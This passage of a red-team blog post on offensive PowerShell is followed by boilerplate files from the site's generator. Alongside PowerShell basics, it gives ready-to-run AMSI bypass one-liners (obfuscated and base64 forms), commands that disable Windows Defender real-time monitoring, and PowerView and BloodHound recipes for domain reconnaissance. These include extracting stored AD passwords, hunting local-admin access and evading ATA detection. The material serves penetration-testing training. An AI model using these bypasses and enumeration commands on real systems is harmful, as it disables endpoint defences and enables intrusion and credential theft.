Verb-Noun | Get-Member
+

An example of running this to view the members for Get-Command is:

1
+
Get-Command | Get-Member -MemberType Method
+

From the above flag in the command, you can see that you can also select between methods and properties.

Creating Objects From Previous cmdlets

One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.

Here’s an example of listing the directories and just selecting the mode and the name:

You can also use the following flags to select particular information:

  • first - gets the first x object
  • last - gets the last x object
  • unique - shows the unique objects
  • skip - skips x objects

Filtering Objects

When retrieving output objects, you may want to select objects that match a very specific value. You can do this using the Where-Object to filter based on the value of properties.

The general format of the using this cmdlet is

1
+2
+3
+
Verb-Noun | Where-Object -Property PropertyName -operator Value
+# OR
+Verb-Noun | Where-Object {$_.PropertyName -operator Value}
+

The second version uses the $_ operator to iterate through every object passed to the Where-Object cmdlet.

Powershell is quite sensitive so make sure you don’t put quotes around the command!

Where -operator is a list of the following operators:

  • -Contains: if any item in the property value is an exact match for the specified value
  • -EQ: if the property value is the same as the specified value
  • -GT: if the property value is greater than the specified value

For a full list of operators, use this link.

Here’s an example of checking the stopped processes:

Sort Object

When a cmdlet outputs a lot of information, you may need to sort it to extract the information more efficiently. You do this by pipe lining the output of a cmdlet to the Sort-Object cmdlet.

The format of the command would be

1
+
Verb-Noun | Sort-Object
+

Here’s an example of sort the list of directories:

Bypassing AMSI and Real-Time-monitoring

Once we get Initial access to our victim machine, we can upload our PowerShell scripts to start the enumeration process. We may notice that our shells get killed or fail at uploading because AV catches them.

Even tho AV evasion is a massive topic in itself. I will provide a brief explanation.

The Anti-Malware Scan Interface (AMSI) is a PowerShell security feature that will allow any applications or services to integrate into antimalware products. AMSI will scan payloads and scripts before execution inside of the runtime. From Microsoft, “The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that’s present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.”

For more information about AMSI, check out the Windows docs, https://docs.microsoft.com/en-us/windows/win32/amsi/

Find an example of how data flows inside of Windows security features below.

AMSI will send different response codes based on the results of its scans. Find a list of response codes from AMSI below.

  • AMSI_RESULT_CLEAN = 0
  • AMSI_RESULT_NOT_DETECTED = 1
  • AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
  • AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
  • AMSI_RESULT_DETECTED = 32768

AMSI is fully integrated into the following Windows components.

  • User Account Control, or UAC
  • PowerShell
  • Windows Script Host (wscript and cscript)
  • JavaScript and VBScript
  • Office VBA macros

AMSI is instrumented in both System.Management.Automation.dll and within the CLR itself. When inside the CLR, it is assumed that Defender is already being instrumented; this means AMSI will only be called when loaded from memory.

We can look at what PowerShell security features physically look like and are written using InsecurePowerShell, https://github.com/PowerShell/PowerShell/compare/master…cobbr:master maintained by Cobbr. InsecurePowerShell is a GitHub repository of PowerShell with security features removed; this means we can look through the compared commits and identify any security features. AMSI is only instrumented in twelve lines of code under

1
+
src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs
+

Find the C# code used to instrument AMSI below.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
var scriptExtent = scriptBlockAst.Extent;  
+if (AmsiUtils.ScanContent(scriptExtent.Text, scriptExtent.File) == AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED)  
+{  
+  var parseError = new ParseError(scriptExtent, "ScriptContainedMaliciousContent", ParserStrings.ScriptContainedMaliciousContent);  
+  throw new ParseException(new[] { parseError });  
+}  
+  
+if (ScriptBlock.CheckSuspiciousContent(scriptBlockAst) != null)  
+{
+  HasSuspiciousContent = true;  
+}
+

Third-parties can also instrument AMSI in their products using the methods outlined below.

Bypass AMSI

Now that we understand the basics of AMSI and how its instrumented, we can begin bypassing AMSI using PowerShell. There are a large number of bypasses for AMSI available, below are a list of few AMSI bypasses.

1
+2
+3
+4
+5
+6
+
# AMSI obfuscation
+sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
+#Base64
+[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
+#On PowerShell 6
+[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+

Bypass Real-Time-monitoring

1
+2
+
Powershell Set-MpPreference -DisableRealtimeMonitoring $true
+Powershell Set-MpPreference -DisableIOAVProtection $true
+

Basic Enumeration

Since we bypassed AMSI and Real-Time protection, we can start with Domain Enumeration and map various entities, trusts, relationships and privileges for the target domain.

PowerView Enumeration

Get current domain

1
+
Get-NetDomain
+

Get object of another domain

1
+
Get-NetDomain -Domain <domain-name>
+

Get domain SID for the current domain

1
+
Get-DomainSID
+

Get domain policy for the current domain

1
+2
+
Get-DomainPolicy
+(Get-DomainPolicy)."system access"
+

Get domain policy for another domain

1
+2
+3
+4
+5
+6
+7
+
(Get-DomainPolicy -domain <domain-name>)."system access"
+(Get-DomainPolicy -domain <domain-name>)."kerberos policy"
+(Get-DomainPolicy -domain <domain-name>)."Privilege Rights"
+# OR
+(Get-DomainPolicy)."KerberosPolicy" #Kerberos tickets info(MaxServiceAge)
+(Get-DomainPolicy)."SystemAccess" #Password policy
+(Get-DomainPolicy).PrivilegeRights #Check your privileges
+

Keep note of the kerberos policy as it will be required while making Golden Tickets using mimikats will require the same offsets else it will get blocked by the defenders

Get domain controllers for the current domain

1
+
Get-NetDomainController
+

Get domain controllers for another domain

1
+
Get-NetDomainController -Domain <domain-name>
+

Get a list of users in the current domain

1
+2
+
Get-NetUser
+Get-NetUser -Username student1
+

Get list of all properties for users in the current domain

1
+2
+3
+4
+
Get-UserProperty
+Get-UserProperty -Properties pwdlastset,logoncount,badpwdcount
+Get-UserProperty -Properties logoncount
+Get-UserProperty -Properties badpwdcount
+

If the logon count and the bad password count of a user is tending to 0 it might be a decoy account. If the password last set of a user was also long back it might be a decoy account

Search for a particular string in a user’s attributes

1
+
Find-UserField -SearchField Description -SearchTerm "built"
+

Get a list of computers in the current domain

1
+2
+3
+4
+
Get-NetComputer
+Get-NetComputer -OperatingSystem "*Server 2016*"
+Get-NetComputer -Ping
+Get-NetComputer -FullData
+

Any computer administrator can create a computer object in the domain which is not an actual computer/Virtual-Machine but its object type is a computer

Get all the groups in the current domain

1
+2
+3
+4
+
Get-NetGroup
+Get-NetGroup -Domain <targetdomain>
+Get-NetGroup -FullData
+Get-NetComputer -Domain
+

Get all groups containing the word “admin” in group name

1
+2
+3
+4
+
Get-NetGroup *admin*
+Get-NetGroup -GroupName *admin*
+Get-NetGroup *admin* -FullData
+Get-NetGroup -GroupName *admin* -Doamin <domain-name>
+

Groups like “Enterprise Admins”,”Enterprise Key Admins”,etc will not be displayed in the above commands unless the domain is not specified because it is only available on the domain controllers of the forest root

Get all the members of the Domain Admins group

1
+
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
+

Make sure to check the RID which is the last few charachters of the SID of the member-user as the name of the member-user might be different/changed but the RID is unique For example : It might be an Administrator account having a differnt/changed member-name but if you check the RID and it is “500” then it is an Administrator account

Get the group membership for a user

1
+
Get-NetGroup -UserName "student1"
+

List all the local groups on a machine (needs administrator privs on non-dc machines)

1
+
Get-NetLocalGroup -ComputerName <servername> -ListGroups
+

Get members of all the local groups on a machine (needs administrator privs on non-dc machines)

1
+
Get-NetLocalGroup -ComputerName <servername> -Recurse
+

Get actively logged users on a computer (needs local admin rights on the target)

1
+
Get-NetLoggedon -ComputerName <servername> 
+

Get locally logged users on a computer (needs remote registry on the target - started by-default on server OS)

1
+
Get-LoggedonLocal -ComputerName <servername>
+

Get the last logged user on a computer (needs administrative rights and remote registry on the target)

1
+
Get-LastLoggedon -ComputerName <servername>
+

Find shares on hosts in current domain.

1
+
Invoke-ShareFinder -Verbose
+

Find sensitive files on computers in the domain

1
+
Invoke-FileFinder -Verbose
+

Get all fileservers of the domain

1
+
Get-NetFileServer
+

GPO Enumeration

Group Policy provides the ability to manage configuration and changes easily and centrally in AD.

Allows configuration of :

  • Security settings
  • Registry-based policy settings
  • Group policy preferences like startup/shutdown/log-on/logoff scripts settings
  • Software installation

GPO can be abused for various attacks like privesc, backdoors, persistence etc.

PowerView Enumeration

Get list of GPO in current domain.

1
+2
+3
+4
+5
+
Get-NetGPO
+Get-NetGPO -ComputerName dcorp-student1.dollarcorp.moneycorp.local
+Get-GPO -All (GroupPolicy module)
+Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html (Provides RSoP)
+gpresult /R /V (GroupPolicy Results of current machine)
+

Get GPO(s) which use Restricted Groups or groups.xml for interesting users

1
+
Get-NetGPOGroup 
+

Get users which are in a local group of a machine using GPO

1
+
Find-GPOComputerAdmin -ComputerName student1.dollarcorp.moneycorp.local
+

Get machines where the given user is member of a specific group

1
+
Find-GPOLocation -Username student1 -Verbose
+

Get OUs in a domain

1
+2
+
Get-NetOU -FullData
+Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_}  # Get all computers inside an OU (StudentMachines in this case)
+
1
+2
+
Get-NetGPO -GPOname "{AB306569-220D-43FF-BO3B-83E8F4EF8081}"
+Get-GPO -Guid AB306569-220D-43FF-B03B-83E8F4EF8081 (GroupPolicy module) 
+

Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights

1
+2
+
Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
+Get-NetGPO -GPOName '{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}' 
+

ACL Enumeration

The Access Control Model enables control on the ability of a process to access objects and other resources in active directory based on:

  • Access Tokens (security context of a process — identity and privs of user)
  • Security Descriptors (SID of the owner, Discretionary ACL (DACL) and System ACL (SACL))
  • It is a list of Access Control Entries (ACE) — ACE corresponds to individual permission or audits access. Who has permission and what can be done on an object?
  • Two types:
    • DACL : Defines the permissions trustees (a user or group) have on an object.
    • SACL : Logs success and failure audit messages when an object is accessed.
  • ACLs are vital to security architecture of AD.

PowerView Enumeration

Get the ACLs associated with the specified object

1
+
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs
+
1
+
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose
+

We can also enumerate ACLs using ActiveDirectory module but without resolving GUIDs

1
+
(Get-Acl "AD:\CN=Administrator, CN=<name>, DC=<name>, DC=<name>,DC=local").Access
+
1
+
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=<name>,DC=<name>,DC=local" -ResolveGUIDs -Verbose
+

Search for interesting ACEs

1
+
Invoke-ACLScanner -ResolveGUIDs
+

Get the ACLs associated with the specified path

1
+
Get-PathAcl -Path "\\<computer-name>\sysvol"
+

Find intresting ACEs (Interesting permisions of “unexpected objects” (RID>1000 and modify permissions) over other objects

1
+
Find-InterestingDomainAcl -ResolveGUIDs 
+

Check if any of the interesting permissions founds is realated to a username/group

1
+2
+
Find-InterestingDomainAcl -ResolveGUIDs |
+?{$_.IdentityReference -match "RDPUsers"} 
+

Get special rights over All administrators in domain

1
+
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights 
+

Trusts Enumeration

  • In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest.
  • Trust can be automatic (parent-child, same forest etc.) or established (forest, external).
  • Trusted Domain Objects (TDOs) represent the trust relationships in a domain.

PowerView Enumeration

Get all domain trusts (parent, children and external)

1
+
Get-NetDomainTrust
+

Enumerate all the trusts of all the domains found

1
+
Get-NetForestDomain | Get-NetDomainTrust 
+

Enumerate also all the trusts

1
+
Get-DomainTrustMapping 
+

Get info of current forest (no external)

1
+
Get-ForestGlobalCatalog 
+

Get info about the external forest (if possible)

1
+2
+
Get-ForestGlobalCatalog -Forest external.domain 
+Get-DomainTrust -SearchBase "GC://$($ENV:USERDNSDOMAIN)" 
+

Get forest trusts (it must be between 2 roots, trust between a child and a root is just an external trust)

1
+
Get-NetForestTrust 
+

Get users with privileges in other domains inside the forest

1
+
Get-DomainForeingUser 
+

Get groups with privileges in other domains inside the forest

1
+
Get-DomainForeignGroupMember 
+

Low Hanging Fruit

Check if any user passwords are set

1
+
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
+

Asks DC for all computers, and asks every computer if it has admin access (it would be a bit noisy). You need RCP and SMB ports opened.

1
+
Find-LocalAdminAccess
+

(This time you need to give the list of computers in the domain) Do the same as before but trying to execute a WMI action in each computer (admin privs are needed to do so). Useful if RCP and SMB ports are closed.

1
+
.\Find-WMILocalAdminAccess.ps1 -ComputerFile .\computers.txt
+

Enumerate machines where a particular user/group identity has local admin rights

1
+
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
+

Goes through the list of all computers (from DC) and executes Get-NetLocalGroup to search local admins (you need root privileges on non-dc hosts).

1
+
Invoke-EnumerateLocalAdmin
+

Search unconstrained delegation computers and show users

1
+
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
+

Admin users that allow delegation, logged into servers that allow unconstrained delegation

1
+
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
+

Get members from Domain Admins (default) and a list of computers and check if any of the users is logged in any machine running Get-NetSession/Get-NetLoggedon on each host. If -Checkaccess, then it also check for LocalAdmin access in the hosts.

1
+
Invoke-UserHunter -CheckAccess
+

Search “RDPUsers” users

1
+
Invoke-UserHunter -GroupName "RDPUsers"
+

It will only search for active users inside high traffic servers (DC, File Servers and Distributed File servers)

1
+
Invoke-UserHunter -Stealth
+

BloodHound Enumeration

  • Provides GUI for AD entities and relationships for the data collected by its ingestors.
  • Uses Graph Theory for providing the capability of mapping shortest path for interesting things like Domain Admins.
  • Source : https://github.com/BloodHoundAD/BloodHound
  • There are built-in queries for frequently used actions.
  • Also supports custom Cypher queries.

SharpHound Enumeration

We can use SharpHound to collect the data, then use neo4j and bloodhound on our local machine and load the collected data.

Supply data to BloodHound

The generated archive can be uploaded to the BloodHound application.

1
+2
+
. .\SharpHound.ps1
+Invoke-BloodHound -CollectionMethod All,LoggedOn
+

To avoid detections like ATA

1
+
Invoke-BloodHound -CollectionMethod All -ExcludeDC
+

Start neo4j and BloodHound UI on kali machine and load the zip/json files

1
+2
+
0xStarlight@kali$ sudo neo4j console
+0xStarlight@kali$ bloodhound
+

References

  1. Powershell Introdution from : https://tryhackme.com/room/powershell
  2. AMSI Brief from : https://tryhackme.com/room/hololive

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/index.html b/posts/index.html new file mode 100644 index 00000000..4a7a9fa8 --- /dev/null +++ b/posts/index.html @@ -0,0 +1,11 @@ + + + + Redirecting… + + + + +

Redirecting…

+ Click here if you are not redirected. + diff --git a/redirects.json b/redirects.json new file mode 100644 index 00000000..ba17857b --- /dev/null +++ b/redirects.json @@ -0,0 +1 @@ +{"/norobots/":"https://0xstarlight.github.io/404.html","/assets/":"https://0xstarlight.github.io/404.html","/posts/":"https://0xstarlight.github.io/404.html"} \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 00000000..79f78d20 --- /dev/null +++ b/robots.txt @@ -0,0 +1,5 @@ +User-agent: * + +Disallow: /norobots/ + +Sitemap: https://0xstarlight.github.io/sitemap.xml diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 00000000..98364752 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,201 @@ + + + +https://0xstarlight.github.io/posts/HTB-Node-Writeup/ +2022-03-21T09:03:00+05:30 + + +https://0xstarlight.github.io/posts/Active-Directory-Introduction/ +2024-03-22T15:55:25+05:30 + + +https://0xstarlight.github.io/posts/Offensive-powershell/ +2022-03-30T09:21:00+05:30 + + +https://0xstarlight.github.io/posts/Active-Directory-Windows-Local-Priv-Esc/ +2022-04-01T06:56:00+05:30 + + +https://0xstarlight.github.io/posts/HTB-Shibboleth/ +2022-04-28T11:57:08+05:30 + + +https://0xstarlight.github.io/posts/Active-Directory-Lateral-Movement/ +2024-03-22T15:57:24+05:30 + + +https://0xstarlight.github.io/posts/Bypassing-Windows-Defender/ +2023-05-14T22:50:08+05:30 + + +https://0xstarlight.github.io/posts/CRTE-Exam-Review/ +2023-07-15T22:57:20+05:30 + + +https://0xstarlight.github.io/categories/ +2024-03-22T15:57:50+05:30 + + +https://0xstarlight.github.io/tags/ +2024-03-22T15:57:50+05:30 + + +https://0xstarlight.github.io/archives/ +2024-03-22T15:57:50+05:30 + + +https://0xstarlight.github.io/about/ +2024-03-22T15:57:50+05:30 + + +https://0xstarlight.github.io/ + + +https://0xstarlight.github.io/tags/nmap/ + + +https://0xstarlight.github.io/tags/nodejs/ + + +https://0xstarlight.github.io/tags/crackstation/ + + +https://0xstarlight.github.io/tags/source-code/ + + +https://0xstarlight.github.io/tags/password-reuse/ + + +https://0xstarlight.github.io/tags/bof/ + + +https://0xstarlight.github.io/tags/command-injection/ + + +https://0xstarlight.github.io/tags/wildcard/ + + +https://0xstarlight.github.io/tags/reverse-engineering/ + + +https://0xstarlight.github.io/tags/binaryninja/ + + +https://0xstarlight.github.io/tags/oscp/ + + +https://0xstarlight.github.io/tags/active-directory/ + + +https://0xstarlight.github.io/tags/active-directory-introduction/ + + +https://0xstarlight.github.io/tags/active-directory-enumeration/ + + +https://0xstarlight.github.io/tags/offensive-powershell/ + + +https://0xstarlight.github.io/tags/powershell/ + + +https://0xstarlight.github.io/tags/amsi-bypass/ + + +https://0xstarlight.github.io/tags/real-time-monitoring-bypass/ + + +https://0xstarlight.github.io/tags/bloodhound/ + + +https://0xstarlight.github.io/tags/trusts-enumeration/ + + +https://0xstarlight.github.io/tags/gpo-enumeration/ + + +https://0xstarlight.github.io/tags/acl-enumeration/ + + +https://0xstarlight.github.io/tags/active-directory-local-privilege-escalation/ + + +https://0xstarlight.github.io/tags/windows-local-privilege-escalation/ + + +https://0xstarlight.github.io/tags/network/ + + +https://0xstarlight.github.io/tags/mariadb/ + + +https://0xstarlight.github.io/tags/internal/ + + +https://0xstarlight.github.io/tags/ipmi/ + + +https://0xstarlight.github.io/tags/cve-exploitation/ + + +https://0xstarlight.github.io/tags/cve-2021-27928/ + + +https://0xstarlight.github.io/tags/weak-credentials/ + + +https://0xstarlight.github.io/tags/active-directory-lateral-movement/ + + +https://0xstarlight.github.io/tags/mimikatz/ + + +https://0xstarlight.github.io/tags/mssql/ + + +https://0xstarlight.github.io/tags/remoting/ + + +https://0xstarlight.github.io/tags/windows/ + + +https://0xstarlight.github.io/tags/etw-bypass/ + + +https://0xstarlight.github.io/tags/crte-exam/ + + +https://0xstarlight.github.io/categories/hackthebox/ + + +https://0xstarlight.github.io/categories/hackthebox-linux/ + + +https://0xstarlight.github.io/categories/hackthebox-medium/ + + +https://0xstarlight.github.io/categories/red-teaming/ + + +https://0xstarlight.github.io/categories/active-directory-introduction/ + + +https://0xstarlight.github.io/categories/active-directory-offensive-powershell/ + + +https://0xstarlight.github.io/categories/active-directory-local-privilege-escalation/ + + +https://0xstarlight.github.io/categories/active-directory-lateral-movement/ + + +https://0xstarlight.github.io/categories/defender-bypass/ + + +https://0xstarlight.github.io/categories/red-teaming-exams/ + + +https://0xstarlight.github.io/categories/crte-review/ + + diff --git a/sw.js b/sw.js new file mode 100644 index 00000000..ecc3679d --- /dev/null +++ b/sw.js @@ -0,0 +1 @@ +self.importScripts('/assets/js/data/swcache.js'); const cacheName = 'chirpy-20240322.1557'; function verifyDomain(url) { for (const domain of allowedDomains) { const regex = RegExp(`^http(s)?:\/\/${domain}\/`); if (regex.test(url)) { return true; } } return false; } function isExcluded(url) { for (const item of denyUrls) { if (url === item) { return true; } } return false; } self.addEventListener('install', e => { self.skipWaiting(); e.waitUntil( caches.open(cacheName).then(cache => { return cache.addAll(resource); }) ); }); self.addEventListener('fetch', event => { event.respondWith( caches.match(event.request) .then(response => { if (response) { return response; } return fetch(event.request) .then(response => { const url = event.request.url; if (event.request.method !== 'GET' || !verifyDomain(url) || isExcluded(url)) { return response; } /* see: */ let responseToCache = response.clone(); caches.open(cacheName) .then(cache => { /* console.log('[sw] Caching new resource: ' + event.request.url); */ cache.put(event.request, responseToCache); }); return response; }); }) ); }); self.addEventListener('activate', e => { e.waitUntil( caches.keys().then(keyList => { return Promise.all( keyList.map(key => { if(key !== cacheName) { return caches.delete(key); } }) ); }) ); }); diff --git a/tags/acl-enumeration/index.html b/tags/acl-enumeration/index.html new file mode 100644 index 00000000..2e8f019b --- /dev/null +++ b/tags/acl-enumeration/index.html @@ -0,0 +1 @@ + ACL-enumeration | 0xStarlight
Home Tags ACL-enumeration
Tag
Cancel
diff --git a/tags/active-directory-enumeration/index.html b/tags/active-directory-enumeration/index.html new file mode 100644 index 00000000..147b9ab3 --- /dev/null +++ b/tags/active-directory-enumeration/index.html @@ -0,0 +1 @@ + active-directory-enumeration | 0xStarlight
Home Tags active-directory-enumeration
Tag
Cancel
diff --git a/tags/active-directory-introduction/index.html b/tags/active-directory-introduction/index.html new file mode 100644 index 00000000..1e33d7be --- /dev/null +++ b/tags/active-directory-introduction/index.html @@ -0,0 +1 @@ + active-directory-introduction | 0xStarlight
Home Tags active-directory-introduction
Tag
Cancel
diff --git a/tags/active-directory-lateral-movement/index.html b/tags/active-directory-lateral-movement/index.html new file mode 100644 index 00000000..e3c5eaee --- /dev/null +++ b/tags/active-directory-lateral-movement/index.html @@ -0,0 +1 @@ + active-directory-lateral-movement | 0xStarlight
Home Tags active-directory-lateral-movement
Tag
Cancel
diff --git a/tags/active-directory-local-privilege-escalation/index.html b/tags/active-directory-local-privilege-escalation/index.html new file mode 100644 index 00000000..69347810 --- /dev/null +++ b/tags/active-directory-local-privilege-escalation/index.html @@ -0,0 +1 @@ + active-directory-local-privilege-escalation | 0xStarlight
Home Tags active-directory-local-privilege-escalation
Tag
Cancel
diff --git a/tags/active-directory/index.html b/tags/active-directory/index.html new file mode 100644 index 00000000..db4cab56 --- /dev/null +++ b/tags/active-directory/index.html @@ -0,0 +1 @@ + active-directory | 0xStarlight
Home Tags active-directory
Tag
Cancel
diff --git a/tags/amsi-bypass/index.html b/tags/amsi-bypass/index.html new file mode 100644 index 00000000..736be77d --- /dev/null +++ b/tags/amsi-bypass/index.html @@ -0,0 +1 @@ + amsi-bypass | 0xStarlight
Home Tags amsi-bypass
Tag
Cancel
diff --git a/tags/binaryninja/index.html b/tags/binaryninja/index.html new file mode 100644 index 00000000..85580290 --- /dev/null +++ b/tags/binaryninja/index.html @@ -0,0 +1 @@ + binaryninja | 0xStarlight
Home Tags binaryninja
Tag
Cancel
diff --git a/tags/bloodhound/index.html b/tags/bloodhound/index.html new file mode 100644 index 00000000..3b735aff --- /dev/null +++ b/tags/bloodhound/index.html @@ -0,0 +1 @@ + bloodhound | 0xStarlight
Home Tags bloodhound
Tag
Cancel
diff --git a/tags/bof/index.html b/tags/bof/index.html new file mode 100644 index 00000000..92694e2b --- /dev/null +++ b/tags/bof/index.html @@ -0,0 +1 @@ + bof | 0xStarlight
Home Tags bof
Tag
Cancel
diff --git a/tags/command-injection/index.html b/tags/command-injection/index.html new file mode 100644 index 00000000..53b9297b --- /dev/null +++ b/tags/command-injection/index.html @@ -0,0 +1 @@ + command-injection | 0xStarlight
Home Tags command-injection
Tag
Cancel
diff --git a/tags/crackstation/index.html b/tags/crackstation/index.html new file mode 100644 index 00000000..4a95c848 --- /dev/null +++ b/tags/crackstation/index.html @@ -0,0 +1 @@ + crackstation | 0xStarlight
Home Tags crackstation
Tag
Cancel
diff --git a/tags/crte-exam/index.html b/tags/crte-exam/index.html new file mode 100644 index 00000000..e1bb5dd7 --- /dev/null +++ b/tags/crte-exam/index.html @@ -0,0 +1 @@ + CRTE-exam | 0xStarlight
Home Tags CRTE-exam
Tag
Cancel
diff --git a/tags/cve-2021-27928/index.html b/tags/cve-2021-27928/index.html new file mode 100644 index 00000000..1f9241de --- /dev/null +++ b/tags/cve-2021-27928/index.html @@ -0,0 +1 @@ + CVE-2021-27928 | 0xStarlight
Home Tags CVE-2021-27928
Tag
Cancel
diff --git a/tags/cve-exploitation/index.html b/tags/cve-exploitation/index.html new file mode 100644 index 00000000..5ec771ff --- /dev/null +++ b/tags/cve-exploitation/index.html @@ -0,0 +1 @@ + CVE-Exploitation | 0xStarlight
Home Tags CVE-Exploitation
Tag
Cancel
diff --git a/tags/etw-bypass/index.html b/tags/etw-bypass/index.html new file mode 100644 index 00000000..f7d1f236 --- /dev/null +++ b/tags/etw-bypass/index.html @@ -0,0 +1 @@ + etw-bypass | 0xStarlight
Home Tags etw-bypass
Tag
Cancel
diff --git a/tags/gpo-enumeration/index.html b/tags/gpo-enumeration/index.html new file mode 100644 index 00000000..838d6471 --- /dev/null +++ b/tags/gpo-enumeration/index.html @@ -0,0 +1 @@ + GPO-enumeration | 0xStarlight
Home Tags GPO-enumeration
Tag
Cancel
diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 00000000..36d04d85 --- /dev/null +++ b/tags/index.html @@ -0,0 +1 @@ + Tags | 0xStarlight
Home Tags
Tags
Cancel
diff --git a/tags/internal/index.html b/tags/internal/index.html new file mode 100644 index 00000000..9539aac8 --- /dev/null +++ b/tags/internal/index.html @@ -0,0 +1 @@ + Internal | 0xStarlight
Home Tags Internal
Tag
Cancel
diff --git a/tags/ipmi/index.html b/tags/ipmi/index.html new file mode 100644 index 00000000..75549911 --- /dev/null +++ b/tags/ipmi/index.html @@ -0,0 +1 @@ + IPMI | 0xStarlight
Home Tags IPMI
Tag
Cancel
diff --git a/tags/mariadb/index.html b/tags/mariadb/index.html new file mode 100644 index 00000000..ec043c1a --- /dev/null +++ b/tags/mariadb/index.html @@ -0,0 +1 @@ + MariaDB | 0xStarlight
Home Tags MariaDB
Tag
Cancel
diff --git a/tags/mimikatz/index.html b/tags/mimikatz/index.html new file mode 100644 index 00000000..72d8b57d --- /dev/null +++ b/tags/mimikatz/index.html @@ -0,0 +1 @@ + mimikatz | 0xStarlight
Home Tags mimikatz
Tag
Cancel
diff --git a/tags/mssql/index.html b/tags/mssql/index.html new file mode 100644 index 00000000..63443537 --- /dev/null +++ b/tags/mssql/index.html @@ -0,0 +1 @@ + MSSQL | 0xStarlight
Home Tags MSSQL
Tag
Cancel
diff --git a/tags/network/index.html b/tags/network/index.html new file mode 100644 index 00000000..39a3b5a8 --- /dev/null +++ b/tags/network/index.html @@ -0,0 +1 @@ + network | 0xStarlight
Home Tags network
Tag
Cancel
diff --git a/tags/nmap/index.html b/tags/nmap/index.html new file mode 100644 index 00000000..5ef36cbc --- /dev/null +++ b/tags/nmap/index.html @@ -0,0 +1 @@ + nmap | 0xStarlight
Home Tags nmap
Tag
Cancel
diff --git a/tags/nodejs/index.html b/tags/nodejs/index.html new file mode 100644 index 00000000..2154d9bb --- /dev/null +++ b/tags/nodejs/index.html @@ -0,0 +1 @@ + nodejs | 0xStarlight
Home Tags nodejs
Tag
Cancel
diff --git a/tags/offensive-powershell/index.html b/tags/offensive-powershell/index.html new file mode 100644 index 00000000..3f3377b2 --- /dev/null +++ b/tags/offensive-powershell/index.html @@ -0,0 +1 @@ + offensive-powershell | 0xStarlight
Home Tags offensive-powershell
Tag
Cancel
diff --git a/tags/oscp/index.html b/tags/oscp/index.html new file mode 100644 index 00000000..bc6af268 --- /dev/null +++ b/tags/oscp/index.html @@ -0,0 +1 @@ + OSCP | 0xStarlight
Home Tags OSCP
Tag
Cancel
diff --git a/tags/password-reuse/index.html b/tags/password-reuse/index.html new file mode 100644 index 00000000..b34b3f9a --- /dev/null +++ b/tags/password-reuse/index.html @@ -0,0 +1 @@ + password-reuse | 0xStarlight
Home Tags password-reuse
Tag
Cancel
diff --git a/tags/powershell/index.html b/tags/powershell/index.html new file mode 100644 index 00000000..7c72ddb5 --- /dev/null +++ b/tags/powershell/index.html @@ -0,0 +1 @@ + powershell | 0xStarlight
Home Tags powershell
Tag
Cancel
diff --git a/tags/real-time-monitoring-bypass/index.html b/tags/real-time-monitoring-bypass/index.html new file mode 100644 index 00000000..a3be96b5 --- /dev/null +++ b/tags/real-time-monitoring-bypass/index.html @@ -0,0 +1 @@ + real-time-monitoring-bypass | 0xStarlight
Home Tags real-time-monitoring-bypass
Tag
Cancel
diff --git a/tags/remoting/index.html b/tags/remoting/index.html new file mode 100644 index 00000000..181e6bd1 --- /dev/null +++ b/tags/remoting/index.html @@ -0,0 +1 @@ + remoting | 0xStarlight
Home Tags remoting
Tag
Cancel
